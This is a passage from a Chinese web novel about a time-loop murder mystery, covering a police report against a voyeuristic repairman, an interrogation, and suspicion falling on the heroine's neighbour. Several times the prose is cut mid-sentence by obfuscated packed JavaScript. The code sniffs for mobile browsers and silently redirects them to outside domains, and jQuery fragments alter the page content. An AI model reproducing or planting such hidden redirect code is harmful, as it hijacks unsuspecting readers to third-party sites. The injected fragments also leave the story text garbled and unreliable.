秦屿一手拉着门，正完好无损地站在门框里。 他身上干干净净，没有一点鲜血的痕迹。 辛琪动荡不安的心终于在此时稳稳落下。 他们再一次迎来了新的循环，秦屿也顺利活过来了。 她从未像现在这样庆幸过时间循环的存在。 以前对她来说是枷锁，现在却像是一种后悔药。 秦屿看她头发乱蓬蓬的，光着一双脚，一看就是急急忙忙跑过来的。 他忙对她笑道：“我没事了！你看，我又满血复活了！” 秦屿边说着，还边做了一个很中二的动作。 辛琪知道他想逗自己笑，但她却因他这话鼻子一酸，眼眶逐渐湿润：“太好了……实在是太好了……” 她什么话都说不出来，只能不停重复那一句。 秦屿收敛了自己故作中二的动作，他看着辛琪，看着她红红的眼眶。 一只手，轻柔地，缓慢地抚上了她头顶的黑发。 他的动作始终很小心，像在抚摸什么稀世珍宝。 “辛琪，我没事了，真的。” * 激动与欣喜过去之后，理智渐渐回了笼。 两人又一次聚集到了秦屿的客厅中，开始讨论起维修工的事。 想起上一次循环中经历的一切，辛琪道：“凶手基本上可以确定了吧。” 秦屿点点头：“否则很难解释他为什么突然对我们下手。” 辛琪很快想到一个关键点：“如果他真的拥有循环的记忆，知道我们在上一次循环中找到了他的老巢，那他会不会趁机逃跑或者做什么别的措施？” “很有可能，”秦屿的脸色变得凝重起来，“我们的动作必须要快，一定要赶在他行动之前抓到他！” 天底下抓坏人最快的方法是什么？ 答案是报警。 跟秦屿商量完后，辛琪又一次拨通了110，她在电话里告诉接线员自己发现了有可疑人物出没，接线员听完后非常认真负责地表示他们会立马出警。 两人报完警后也飞奔下楼，跑出小区，打了一辆车直奔维修工的老巢。 在车上，秦屿说起了自己的顾虑。 他怕前排的司机听见，便用手机打字给辛琪看。 【现在还什么都没发生，警察去了我们要怎么解释？】 辛琪瞥了一眼秦屿打出的文字，也在自己手机上打字回复。 但她却是答非所问。 【其实我一直在思考一件事，逃出循环的关键到底是什么】 【之前我们猜测是找到凶手，但我们已经确认是维修工了，为什么还是迎来了新一轮的循环？】 秦屿露出深思的神色。 【听你这样一说，好像确实有点奇怪】 【我想有两种可能，第一是我们找错了人，他不是凶手；第二是找到凶手并不能让我们逃脱循环】 【那你有什么新的想法吗？】 【假设维修工真的就是凶手，那我想逃脱循环的关键不止是让我们找到他，也许是要我们将他绳之以法，将他送进监狱里；也许是……要我们将他除掉】 【我打算先试试第一种方法】 秦屿恍然大悟。 【所以你才不管三七二十一的直接报警了？】 【嗯】 【那万一警察没把他抓走呢？】 辛琪对着他神秘一笑。 【让警察把他抓走的方法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642303|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有很多，你忘了你第二次循环是怎么进的派出所了？】 …… 秦屿懂了。 辛琪这时又在手机上打了几行字。 【选择这个也是因为……我不想真的尝试第二种】 这句话将秦屿看得沉默起来。 辛琪的用词很委婉，但实际上他们都知道除掉一个人最好的方式，就是将他杀死。 他们只是生活在这座城市里普普通通的人，要杀掉一个人谈何容易？ 况且如果需要杀掉凶手才能跳出循环，那他们不就成了新的杀人凶手了？ 良心与道德的谴责都还只是心理层面上的，最头疼的问题是，他们要怎么处理尸体？怎么将一切犯罪线索隐藏？ 当东窗事发的那一天，又要怎么应对警察？ 这似乎是个无解的问题，不杀掉凶手，不提前结束循环，那死的人就是辛琪了。 但杀死了凶手，结束循环，他们又很有可能面临牢狱之灾。 毕竟他们总不可能跟警察说这一段奇幻的经历，说杀了凶手辛琪才能活吧。 就算是说了又有谁会相信呢？ 秦屿最后深深地叹口气。 【只希望逃脱循环的不是这么损人不利己的方法】 * 维修工所在的那一片区域离他们住得地方并不算远。 汽车行驶了接近二十分钟后，停在了那栋楼房外的路口上。 今天的路口跟上一次辛琪秦屿来时截然不同。 住在这片区域的人似乎都从家里出来了，他们围满了路口，将本就不宽的道路挤得水泄不通。 在层层叠叠的人群之中，两人还隐隐约约地看到，不远处的地方有红色和蓝色的灯光在持续闪烁着，照亮了这些荒凉无比的区域。 那是警车独有的灯光，两人立即明白这是警察赶到了。 车子无法驶入道路中，两人便从车里下来走进了路口。 从人群中费力地往前走，那闪烁的红蓝、灯光离他们越来越近。两人走到灯光前时，却被一个穿制服的年轻警员拦了下来。 “前方在办案，请两位不要靠近。” 秦屿立即道：“是不是有关于那个修理工的？我们是报案人！” “报案人？” 年轻警员还没来得及说话，一个清亮的女声便传入了两人的耳际中。 两人寻着声音一看，是一名同样身着制服的女警朝他们走来了。 辛琪一下就将她认出：“方警官？” 方警官面露疑惑：“你认识我？” “咳……”辛琪也用了当初秦屿的借口，“有幸见过，但你可能已经忘了吧。” 方警官点了点头没作多想，她脸上带着些许笑意，看起来比之前温和多了。 “你们是怎么发现的？”她对着两人说。 “发现？” 两人面面相觑，辛琪开口道：“所以方警官你们真的把人抓了？” 方警官点头，回身望了一下那栋破旧的楼房：“藏在这么隐秘的地方是很难被察觉的，要不是你们及时报案，以后说不定还会出现更多受害者。” “这次多谢你们了。” 两人听了这话只觉得更迷惑了，辛琪被杀这事还没发生，难道受害者指的是…… “所以他真的是连环杀人凶手？真的在这里藏尸体了？”秦屿惊讶出声道。 “连环杀人凶手？” 出乎意料的是，方警官的表情看起来比他更为惊讶。 “谁说他杀人了？” 16. 第十六章 “维修工没有杀人的话，那是因为什么被逮捕起来的啊？” 秦屿端着一副傻愣愣的表情看着方警官。 “你们不知道他犯的事？”方警官也是满脸疑问，“那你们为什么报警？” 她想起了刚刚秦屿说的话，眼睛微微眯起：“杀人犯……难不成你们还发现了什么别的？” 方警官立马掏出手机，打开语音备忘录：“来，跟我说说你们的发现。” “啊……不是不是，”辛琪连忙摆手，“我们……我们就是看到他形迹可疑，觉得不太对劲才报警的。” “真的只是这样？”方警官语带怀疑道。 她不太相信辛琪的说辞，根据她多年的办案经验，一般情况下没有哪个群众会因为一个人“形迹可疑”就报警的。 “你们可别隐瞒我，”她话语中带着警告的意味，“要是耽误了警方办案，可是要负法律责任的。” “方警官，我们真的没有了！”秦屿将头摇得像拨浪鼓，“我们与这个维修工都不认识，又怎么可能帮他隐瞒什么呢？” 他擦了擦额头的冷汗：“方警官您可真是太敬业了。” “当警察的不敬业，不就是不把群众的生命安全放心上吗？” 方警官这样回答着，悄悄瞥了瞥眼前两个人。 眼神飘忽，话语支吾，她料定这两个人一定有什么事瞒着她，他们与这维修工的关系也绝不可能是陌生人。 试问有谁会莫名其妙怀疑陌生人是杀人犯，还为此而报警的？ 但方警官什么也没说，她甚至还收回了手机。 她心知肚明，在这里是问不出什么的。 “时间也不早了，请两位跟我去一趟派出所吧。” “去派出所？为什么？” “没什么，两位是报案人，带你们去只是想做个例行询问罢了。” 辛琪和秦屿对视一眼，她出声道：“在这里做不可以吗？我们知道的真的不多，就算去了也帮不了你们什么。” “这里人太多了，不方便，”方警官的语气虽温和，但却带着一股不容拒绝的意味，“还是跟我去派出所一趟吧。” 她又补充了一句：“为警方办案提供线索是每个公民的义务。” 辛琪和秦屿这下找不到借口拒绝了，只能乖乖点头，等着方警官处理完现场后，跟她坐警车一起前往派出所。 警方这回开了不止一辆车。那维修工双手拷着，被两位警员一左一右地架上了一辆警车，而辛琪和秦屿两人则在方警官的带领下上了另一辆警车。 等警车启动时，辛琪再一次提出了自己的疑问：“方警官，所以那个维修工到底是犯了什么事？” 他俩坐在后排，方警官坐在副驾驶，辛琪透过后视镜看到她眉头蹙起。 “他是一个偷拍犯。” 听了方警官的叙述他俩才知道，这维修工不止收费天价，还经常在维修家电时，往单身女性的家里偷偷安装针孔摄像头。 警方赶到那栋楼房时，他还在自己屋子里优哉游哉地看着偷拍来的画面。 “那栋楼房很多年前就成了危楼，早就断水断电，那个维修工居然自己发了电，还在墙壁上安装了好几个大屏幕方便自己偷窥。” “他为什么选择这个地方？”秦屿不解道，“他不会真的住在那儿吧？” “这倒不是，”方警官回答秦屿，“据他自己说，这里隐蔽，他干这种勾当不容易被发现，还有一个原因是，他的住所住着自己的老婆和女儿，他怕被她们发现。” 说到这里时，方警官嘴角忍不住露出一丝嘲讽的笑容。 辛琪坐在后排沉默了起来。 她不知道自己算不算幸运了。 不幸的是，她找到一个偷拍犯来自己家里修灯具。 幸运的是，第一次她将偷拍犯赶走了，灯没修成；第二次有秦屿陪着她，偷拍犯大概没敢下手。 但若是辛琪性格软弱一点，选择吃下乱收费的暗亏，或者这个偷拍犯没那么贪财，以正常的价格帮助辛琪修了灯具，那她所有的隐私不就都暴露在这偷拍犯眼前了？ 想到这里，她就觉得一阵阵的后怕，身体忍不住打了个寒战。 就在此时，辛琪手上突然传来了温暖的触感。 她低头一看，是秦屿轻轻握住了她的手。 他并没有说话，唯独眼神里流露出点点关心和担忧。 辛琪于是牵起嘴角回他一笑，表示自己还好。 坐在副驾驶的方警官也从后视镜看着辛琪：“所以我这次真的要谢谢你们解救了那么多受害者，她们相当一部分大概还不知道自己被偷拍了。” 虽说他们可能隐藏了什么线索没告诉自己，他们报案的目的也不一定单纯。 但方警官此刻的感谢却是真心的，至少他们帮助她将一个恶劣的偷拍犯绳之以法了。 不过对于辛琪来说，这件事对她最重大的意义就是又帮她剔除了一个可能是凶手的人选。 方警官说过，维修工在警察上门时还在观看着屏幕，如果他有时间循环的记忆，知道自己的老巢已经被人发现了，那么他只会忙着销毁证据或者逃跑，断不可能在屋子“欣赏”自己偷拍来的画面。 他应该是没有记忆的，所以肯定不是凶手。 至于在上一次循环中维修工对两人下手…… 人在慌乱时会变得毫无理智，做出难以挽回的事。 辛琪想维修工大概是怕自己偷拍的事被发现，才慌不择路地将两人给杀死了。 时间快到晚上八点，这会城市还处在晚高峰中，警车跟着堵了一路，大约四十分钟后，他们终于来到了派出所里。 秦屿跳下车一看：“哟，还是上次那个。” 方警官正好听到他的话：“你来过？” 秦屿含糊说道：“很久之前来过一次……嗯，来办点事情。” 派出所除了拘留犯人之外的确还有很多职能，秦屿这话也没什么问题。 但他这明显心虚的表情就很值得怀疑了。 方警官当下也没说什么，将两人分别带到两间询问室里分隔开来，然后开始做笔录。 她看出辛琪比秦屿要机灵些，于是让其他同事去问了秦屿，自己则亲自去给辛琪做笔录。 刚刚进入办公室时，方警官还很和蔼，她告诉辛琪别担心，很快就问完话了，甚至还贴心地问她要不要吃晚饭。 辛琪现在哪有心情在这里吃饭，只想赶紧回家讨论凶手的事，便拒绝了方警官的好意。 于是方警官正式开始了问询。 起初的问题还很简单，就是问辛琪的姓名、籍贯和工作等等基本信息。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642304|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>等问到跟维修工有关的事时，她的表情一变，声音骤然严肃了许多，与刚刚简直是判若两人。 “你说看到维修工形迹可疑才报的警，能具体说说吗？” “我看到他鬼鬼祟祟地进入了那栋楼房，但那栋楼房不可能还有人居住，我觉得很奇怪，所以报了警。” “就仅凭这一点？”方警官锐利的目光直射向辛琪，“这个理由有点牵强吧？你的同伴说过你们不认识他，你好像没有必要直接报警吧？” 辛琪也是不慌不忙的：“我的疑心病比较重，而且我觉得报警也没什么坏处，如果是乌龙一场，那自然是好，如果他真的有问题，那我也算做了件好事。” “你的觉悟还挺高的，”方警官掠过这个话题不提，“那你是什么时候到达那一片区域的？你的工作单位和家庭住址都不在那儿，你去那片区域的理由是什么？” 这个问题不好回答，没有人会莫名其妙地前往那种地方，辛琪无论怎么辩解都显得牵强。 “这是我的人身自由，跟案件好像也无关，我可以不回答吗警官？” 方警官的手机一直放在桌面上，辛琪说话时，看到她手机屏幕突然亮了一下。 方警官轻轻扫一眼屏幕，才继续对着辛琪说：“嗯，你说得没错，你当然可以不回答。” “那我们说点跟案情有关的吧，我们的同事调查到，维修工一两个月之前去过你家维修灯具……你刚刚不是说，你们跟他不认识吗？” 辛琪表情故作惊讶：“上次那个维修工就是他吗？我都快忘记他长什么样了。” 方警官看着她拙劣的表演，并没有接这话：“你知道吗，我想起了一个陈旧的案子。” 辛琪不懂她为什么说这个，便不吭声地听着方警官说话。 “以前有一个维修工上门维修时跟女主人起了争执，然后失手错杀了女主人，当时女主人的孩子还很小，躲在衣柜里目睹了这一切。” “维修工因为是激情杀人，并没有判死刑，过了很多年以后，刑满释放出来了，结果有一天那女主人长大了的孩子悄悄跟踪了维修工，将人给杀死了。” 她在说话时，一直观察着辛琪的表情。 辛琪冷冷地看着她：“方警官如果你觉得我在跟踪那个偷拍犯，想要杀害他的话，就请你拿出证据来。” 看这反应，她的确不像是要对偷拍犯下手。 方警官在心中下了这样的结论。 沉思了几秒，她脸色又变得温和起来：“其实我明白，你既然选择报警了那必然是个好人，我只是很想知道，有关那个维修工的一切信息。” “现在我们只知道了他是偷拍犯，那万一他还犯过别的事呢？在我们不知道的角落里，他还伤害过别的人呢？” “我只希望你能把一切原原本本地告诉我，让我们可以拯救更多的人。” 听了这话，辛琪咬着嘴唇，目光下垂，好像在纠结犹豫着什么。 方警官心知有戏，她目光真挚地看着辛琪：“不要小看你知道的任何一条信息，有时候破案的关键往往只是一个微不足道的细节。” 方警官说完这话后，没有再开口了，她默默等待着辛琪的回复。 过了片刻之后，安静的询问室里响起了辛琪的声音。 “我说了，你们就会相信吗？” 17. 第十七章 询问室里的隔音很好，当两人都安静下来时，便连一点细微的声音都几不可闻。 方警官盯着对面的辛琪，沉默了许久才回答她的问题：“我不得不说，警方只相信证据。” “但此刻你可以畅所欲言，你的话或许会成为我们查案的参考。” 辛琪忽而一笑：“其实我现在说了也没用，方警官你迟早会忘记的。” 方警官觉得这话有点莫名，她瞥了一眼自己的手机：“我录着你的话呢，不会忘记的。” 辛琪没接这话，她问了方警官一个问题：“方警官，你知道我第一次碰到你是什么时候吗？” “什么时候？” 方警官想自己或许在很早之前跟辛琪有过接触，但每天来往派出所的人那么多，她不可能记住每一个人。 但辛琪的回答却出乎她的意料：“今天晚上23:55分，或许还要比这个时间早上一两分钟。” “现在才刚到九点，”方警官眉头一蹙，“你是在跟我开玩笑吗？” “不，”辛琪摇头，“准确来说并不是这回的‘23:55分’，是好几次之前的‘23:55分’。” “你的话我越来越听不懂了。” “方警官你当然听不懂了，因为你并没有记忆，而我深刻地记得，我经历这一天、经历这个星期五，已经有……”辛琪掰着指头数了数，“八次了。” 方警官勉强理清了辛琪话中的意思：“你的意思是你一直在重复这一天？” 辛琪点点头。 “我陷入了时间循环，到了晚上十二点，我这里就会豁开一个伤口，然后流血死亡，”她指着自己的胸口，“等我再次醒来时，我就会发现我的时间倒退到了几个小时前。” 方警官看着辛琪，她嘴巴微张，过了好一会儿才开口：“你最近睡得不太好吗？是不是常常做噩梦？” 辛琪微叹一口气，脸色看起来有些沮丧：“我就知道我说了你也不会相信，我已经经历过八次了，我分得清什么是梦境什么是现实。” 方警官看她的眼神渐渐透出了几分怜悯：“那要不要暂停一下，我给你找个心理医生来？” “我真的不需要！我经历的一切不是做梦，我也并没有什么心理问题或者精神疾病！” “我说的一切都是真的！” 见对方还是一副疑问不解的神情，辛琪瘫在椅子上，一副‘累了毁灭吧’的样子。 “你不相信就算了，反正等下一个星期五来时，你也会忘了这一切的。” 方警官这些年来接触过形形色色的人，她也不是没有遇到过辛琪这样“异想天开”型，说自己有特异功能的。 但最终这些人不是妄想症，就是为了逃脱法律的惩罚在编瞎话。 要是被这些怪力乱神的事给糊弄到，那她还怎么当好警察？ 所以在她亲眼所见之前，她是不可能相信辛琪的话的。 但不相信归不相信，面对这样的人，她也有独特的审问技巧。 方警官一边给同事发微信，让他们找个精神科的医生来，一边对着辛琪说：“好，我们假设你真的处在时间循环中，那么这跟维修工的案子又有什么关系呢？” “这还是不能解释，你为什么会觉得他是杀人犯，为什么会选择向警方报案。” 辛琪不知道方警官是否真的相信自己，但她也不想管这些了，反正到了十二点一切又会重置，她决定将一切都和盘托出。 就当是聊天缓解压力。 “我循环的起因是我被人杀了，我跟秦屿猜测，破除循环的关键就是找到凶手……” “秦屿？”方警官打断她的话，“就是你的同伴吗？他也知道时间循环的事？” “他跟我一样处在时间循环中。” 方警官低下头去，默默的在对话框中补充了一句话。 【精神医生再多一个】 “除了你们俩之外，还有第三个人知道这个事吗？” “我们推测凶手也知道。” “凶手是谁？” 辛琪摇头：“不知道，我们也正在找。” 方警官默默收回了手机，她想凶手大概是这两个人臆想出来的人物。 目前看来只有辛琪和秦屿相信这件事，要是还有更多的人参与进来，她可能要怀疑这几个人并不是精神问题，而是被什么邪教洗脑了。 “你继续说。” “我们想要找到凶手破除循环，于是在不断地筛出人选，我们找了外卖员，我的前男友，还有一个就是维修工。” “为什么会怀疑到维修工身上？” “我跟他产生了一点口角，上一次循环跟踪他时找到了他的老巢，被他发现后，他直接将我们杀死了。” “我们以为他是凶手，迎来了新的循环后便立即报警，没想到他其实是偷拍犯。” 方警官伸出食指挠了挠额头。 她在想辛琪准备的还真是充分，这编得有鼻子有眼的。 “除此之外还有别的原因吗？你还发现了维修工其他异常的行为吗？” “没有了，”辛琪道，“我们会选择报案，就是因为上一次循环的遭遇。” 方警官沉默了，感觉这天简直没法聊下去了，但……她也不可能把这样一份笔录交上去啊。 想到秦屿那边或许还有突破，她在微信上询问同事： 【你那边怎么样了】 【方姐，说出来你可能不信，这小子居然跟我说他在经历时间循环，我看我这边也需要一个精神科医生了】 【哦，那倒不用，那两个医生就是为辛琪和秦屿准备的】 关闭了手机，她看辛琪一脸倦色，便说道：“想来你也累了，我们先休息一会儿吧。” 反正也问不出什么，还不如直接等精神科医生来鉴定。 说完这话，方警官离开座位，准备走出询问室，辛琪却连忙叫住了她。 “方警官，我有个问题想问你。” 她回过头来：“什么？” “如果是你们警方的话，你们觉得谁会是凶手呢？” 之前她和秦屿循环了八次也没找到真凶，她觉得他们两人与其埋头苦想，还不如询问一下专业人士的意见。 方警官坐回了座位。 虽然她不信辛琪的话，但她觉得群众有侦察意识是好事，所以打算帮她分析分析。 “凶杀案最重要的就是案发现场，你还记得当时的情形吗？” “我第一次被杀的时候并没有记忆，还是秦屿告诉我的。” 辛琪回忆道：“他说晚上十一点多的时候，我的房门被人敲响，很快的，他听到了一声重物倒地的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642305|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，再去查看时，发现门虚掩着，而我已经被人杀死倒在了血泊中。” 方警官点点头：“你为什么会怀疑外卖员和你的前男友？” “我们把凶手聚焦在了知道我家庭住址的人中。”辛琪回答道。 “外卖员是因为我许久不点外卖了，今天下午是这个星期第一次点外卖，但点完这一单晚上我就出事了，时间有些过于巧合。” “前男友是因为……我跟他有些感情纠纷，我之前把他暴打了一顿，还害得他没了工作。” “你们能找到维修工，说明你们排除了外卖员和前男友，”方警官又问她，“这又是为什么呢？” “我之前说过凶手可能也拥有时间循环的记忆，而这两人都不像是有记忆的人，所以被我们排除了。” 听完了辛琪提供的所有信息，方警官道：“其实你们的想法也有道理，知道家庭地址和拥有循环记忆的确是筛选凶手的一个好办法。” 说到这里，她却话锋一转：“但如果是我的话，我是绝对不会怀疑以上这三个人的，他们绝不可能是凶手。” 辛琪不解的眉头微皱：“这是为什么？” 方警官直视着她：“因为你们忽略了一个很重要的细节。” “什么细节？” “你说凶手是晚上十一点多的时候来敲你的房门，那么我请问你，如果那三个人在那个时间敲你的房门，你会给他们开门吗？” 这三个人，一个是陌生人，还有两个跟她有矛盾…… 辛琪摇了摇头。 “这就对了，”方警官道，“你是死在家里的，说明凶手是入室作案；而秦屿只听到了一声重响，说明你跟凶手之间没有发生过打斗。” “这个凶手能让你在大晚上开门，还能无声无息的将你杀掉，这表明你对他没有戒心。” “而能满足这一点的人，只能是跟你关系较好的熟人。” “除了拥有你的家庭地址、拥有循环的记忆，你应该把这一点也考虑进去。” “关系较好的熟人……” 听了这话，辛琪只觉得有一种茅塞顿开之感，而且经方警官这一筛选，凶手的范围顿时缩小了许多。 “那么就只剩我的亲戚朋友和我的公司同事了……但我的亲戚朋友几乎都在老家。” 方警官也道：“那你应该先将怀疑的目光聚焦到你的同事身上。” 辛琪点点头。 她加入这家公司不过几年的时间，几乎没跟同事产生过什么矛盾，所以她之前并没有怀疑到他们身上。 “我会的，”她对着方警官说，“等下一次循环开始，我就会好好调查调查他们。” 不过方警官的话却还没说完。 “其实公司同事作案只是一种可能，我还有另一种想法。” 除此之外还能有别的可能？ 辛琪心中闪过疑问，她静静地看着方警官，等待她接下来要说的话。 “还有一种可能是……秦屿在撒谎。” 方警官在说话时语气一直很平淡，好像没什么情绪，但这平淡的话语流入辛琪耳朵时，却让她忍不住地瞪大了双眼。 “秦……屿？” “你说你没有记忆了，那有关凶案现场的一切都是他的一面之词，他很有可能杀掉你之后，再编了一个谎话来骗你。” 18. 第十八章 帮助辛琪分析完后，方警官便走出了询问室。 她离开之前辛琪还在问她：“请问方警官，我们什么时候可以离开这里？” 精神科医生还没赶到呢……想到这里，方警官回答辛琪：“不急，先在这里待一会儿吧。” “对了，你还没吃晚餐是吧？我待会儿让人给你送一份来。” 辛琪明白，方警官这是不会轻易放她走了，她便点点头接受了那一份晚餐。 过了十多分钟后，有一位年轻警员给她送来了一份盒饭，盒饭的菜色还不错，两荤两素外带一汤。 在派出所待了这么久，辛琪的确有些饿了，她揭开盖子，很快的将盒饭吃完了。 她放下筷子，开始思考方警官说的话。 秦屿…… 他真的在骗她吗？ 他真的会是杀她的真凶吗？ 怀疑的种子一旦种下，便不可自拔地生根发芽起来。 自己被杀的过程的确是他口述的，寻找凶手时，他也给了自己很多建议。 如果秦屿做这些是为了取得自己的信任，掩盖杀人的真相……那这真是太可怕了，辛琪很有可能直到循环结束都找不到真凶。 她很想找秦屿当面对峙一下，可惜她被关在询问室里根本见不到秦屿。 只能等下一个循环来临时再问了。 进入询问室之前，方警官扣押了她所有的个人物品，她不知道现在几点了，只能枯坐在这里，静静等待午夜十二点的来临。 …… 不知过了多久，辛琪听到询问室的门再次被打开，她朝门口一看，是方警官带着一个穿着白大褂的人进来了。 “医生，麻烦您给她看看吧。”方警官对那人说。 辛琪正想问这是怎么回事时，一股熟悉的剧痛便从她胸口弥散开来。 十二点快来了。 于是辛琪嘴边的话变成了：“方警官，我之前是不是对你说过，十二点一到我的胸口就会豁开一个口子然后流血？” “它已经来了。” 她指着自己胸口的位置，那里变得湿漉粘腻，有一片鲜红的痕迹泅湿了大片衣服。 方警官愣愣地看着她的胸口，第一个反应是她自杀了？ 但这里没有任何武器，辛琪做不到这种事，最重要的是……她没必要自杀啊！ 她正惊疑不定之时，辛琪“嘭”的一声在她面前倒下。 那医生赶紧上去查看辛琪的状况。 他探了探辛琪的脉搏，又查看了她的瞳孔，然后回过头来对方警官说：“她已经没有生命体征了。” 方警官腿一软，在原地踉跄了一下，她盯着辛琪尚带余温的尸体，脑中只有一个念头。 她口中的什么时间循环，不会是真的吧？ * 19:00。 辛琪待在秦屿客厅里，听着他喋喋不休地抱怨昨天的经历。 “我跟你说，他们真的是有病，一直不停地问我跟维修工到底有什么关系，”秦屿崩溃地挠头，“我都已经说了很多遍，我不认识他，还告诉了他们时间循环的事，但他们就是不相信我！非说我在骗他们！” “他们审问了我好几个小时，也不给我饭吃，最后居然还找了个精神医生来给我做检查！” “这也太离谱了！咱们以后还是少报警吧，我不想再去派出所了！” 他在客厅中嚷嚷了半天才察觉到辛琪的不对劲。 辛琪就坐在沙发上听着他讲，但她从头到尾没说一句话，连眼神也在发着木，明显是有心事。 秦屿停止了抱怨，走到辛琪面前问她：“你怎么了啊？是想起什么了吗？” 辛琪看了他好一会才开口：“我昨晚让方警官帮我分析了一下凶手会是谁。” “让方警官帮你分析？”秦屿一拍脑袋，“这真是个好办法啊，我怎么没想到呢！” 他一脸期待地问辛琪：“那她说什么了？” “方警官说……”辛琪似乎有口难言，支吾了好一会才开口，“有一种可能是你在骗我。” “……” 秦屿脸上的表情凝固了，这句话回响在他耳边，好像有什么魔力似的，让他全身都动弹不得。 “这是……什么意思？” 他颤抖着声音问。 辛琪以一种复杂的眼神望着他：“杀我的人，是你吗？” 她这话问得过于直白，秦屿张着嘴唇，一时间都不知道该怎么回答。 他只能语无伦次地证明自己的清白：“不，辛琪，我不是凶手，我只是想保护你，我从来没想过伤害你，你不要误会……” “方警官……方警官也是猜测啊！对！”他像是找到了什么救命稻草，“方警官也只是猜测罢了，她没有证据！” 辛琪一双眼睛目光泠泠：“但有关我被杀的一切，也是你的一面之词，没有任何证据证明……” 你没有编谎话骗我，你不是凶手。 “但是，但是……”秦屿奋力想着所有能帮自己洗脱罪名的理由。 他能感觉到自己跟辛琪在慢慢走近，他不想因为这种莫须有的罪名再让他们俩分崩离析。 “我们之前不是猜测找到凶手就能摆脱循环吗？” “你看，你找到了我，我进过派出所一次，甚至还在你面前死过两回……但你直到现在都还在循环中。” “这不就能说明我根本不是凶手吗？” “那也只是猜测而已，”辛琪仍以一种怀疑的目光直视着秦屿，“说不定你掌握着别的逃脱循环的方法。” “所以你很想要取得我的信任，让我发现不了真凶，这样循环一结束，你就能彻底杀死我了。” “我……” 秦屿发现自己找不到理由反驳辛琪了。 说到底他们认识的时间很短，在时间循环开启之前两人不过是从未说过一句话的邻居，他凭什么让辛琪全心全意地信任自己呢？ “我只想说一句话，我从来没有想过伤害你，时间循环开启后，我脑中所有的念头也只是保护你，改变你被杀的结局。” 他目光真挚地看着她：“辛琪，我不想你出事，我想跟你一起闯过这道难关。” 秦屿这话说完后，辛琪并没有接话，客厅里陡然沉默起来，气氛跟着变得沉重，像是千钧重的石头压在秦屿心里。 看着辛琪一直不开口，秦屿的心被压得一分一分沉了下去。 辛琪应该不会想继续跟他合作了吧？也许在辛琪找到真凶之前，她都会离他这个“嫌疑犯”远远的。 他渐渐垂了下头。 …… “好，我相信你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642848|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 声音传入秦屿耳朵那一刻，秦屿还以为自己听错了。 他猛然抬头望向辛琪。 “你……相信我？” “嗯，”辛琪点头，“很抱歉，我不应该这样无缘无故怀疑你的，但是眼看循环的机会越来越少，我实在是很心急……” “没关系！”她话还没说完，秦屿便已出声将她的话打断，“只要你不怀疑我，只要你还相信我那就足够了！” 他身上所有的丧气一扫而空，眼里是几乎快要迸发出来的喜悦。 那双眼睛亮闪闪地看着辛琪，让辛琪不禁联想起，自己老家那只扑到她身上求摸摸的狗狗。 想到这里，辛琪也伸出手去摸了摸秦屿的头顶，轻柔的发丝擦过她的掌心，嗯，手感也跟狗狗差不多。 她的确不该怀疑秦屿。 方警官的猜测很合理，但她跟秦屿这几次循环中的相处也不是假的。 她能够感受到他的关心，他的在意，以及他想要拯救自己的心情。 如果这一切都是秦屿演出来……那她也无话可说，有这样精湛且天衣无缝的演技，活该秦屿是嬴家。 感受着辛琪的手指滑过自己的头发，秦屿感觉心脏都漏跳了一拍， 明明现在是大冬天，冷风透过缝隙在往屋子里吹着，但这丝毫阻止不了他不断攀升的体温。 一截冰冷的指尖贴上了他的耳朵，让他忍不住打了个机灵。 “你耳朵怎么红成这样？你也生病了吗？” “啊……没有没有，”秦屿后退一步，避开了辛琪的手指，“可能是这里太热了吧，哈哈……” 辛琪面露疑惑，这都大冬天了，她不懂秦屿到底在热什么。 但她并没有问他，她脑中又开始想起了凶手的事。 每一次循环的机会都很宝贵，他们不能再浪费一丁点时间了。 “方警官之前还跟我说了另一种可能，她让我留意一下我的公司同事们。”辛琪道。 “公司同事？” “嗯，她推测凶手是跟我关系较好的熟人。” 辛琪跟秦屿复述了一遍昨天方警官的分析。 秦屿听完也点点头，赞同了方警官的说法：“那你有什么人选了吗？” 